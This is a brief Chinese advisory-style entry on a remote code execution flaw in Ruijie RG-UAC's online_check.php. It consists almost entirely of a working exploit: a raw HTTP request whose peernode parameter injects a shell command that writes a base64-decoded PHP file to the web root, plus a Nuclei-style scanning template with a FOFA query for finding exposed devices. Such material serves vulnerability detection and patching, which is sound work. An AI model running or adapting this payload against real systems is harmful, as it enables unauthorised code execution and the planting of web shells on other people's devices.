锐捷Ruijie-UAC online_check.php存在RCE

GET /view/vpn/autovpn/online_check.php?peernode=%20|%20`echo%20PD9waHAgcGhwaW5mbygpOw==%20|%20base64%20-d%20%3E%20t1.php` HTTP/1.1Host: targetUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1

id: ruijie_rceinfo:  name: ruijie_rce  author: joyboy  severity: high  description: |    锐捷Ruijie-UAC online_check.php远程RCE漏洞  metadata:    max-request: 1    verified: true    fofa-query: title="RG-UAC登录页面"  tags: rcehttp:  - raw:      - |-        GET /view/vpn/autovpn/online_check.php?peernode=%20|%20`echo%20PD9waHAgcGhwaW5mbygpOw==%20|%20base64%20-d%20%3E%20ttt.php` HTTP/1.1        Host: {{Hostname}}      - |+        GET /view/vpn/autovpn/ttt.php HTTP/1.1        Host: {{Hostname}}    matchers-condition: and    matchers:      - type: word        part: body_2        words:          - 'PHP Version'      - type: status        status:          - 200